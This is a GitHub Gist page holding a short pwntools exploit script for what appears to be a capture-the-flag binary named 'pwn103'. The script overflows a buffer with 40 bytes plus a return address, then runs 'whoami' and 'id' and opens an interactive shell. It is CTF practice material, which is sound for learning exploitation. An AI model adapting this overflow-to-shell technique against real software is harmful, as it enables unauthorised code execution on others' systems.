Created
May 10, 2022 16:45
-
-
Save 7h3h4ckv157/79baab418156ce6f8c198858e0e5022d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
p = process("./pwn103.pwn103") | |
payload = b"A"*40 + p64(0x00401554) | |
p.sendline(b"3") | |
p.recv() | |
p.sendline(payload) | |
p.recv() | |
p.sendline('whoami') | |
p.sendline('id') | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment